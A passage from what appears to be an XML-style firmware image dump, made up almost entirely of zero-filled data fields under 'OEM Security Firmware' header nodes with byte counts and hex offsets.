00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="OEM Security Firmware" byte_cnt="12288" offset="B000"> <data>000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="OEM Security Firmware" byte_cnt="8192" offset="E000"> <data>00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000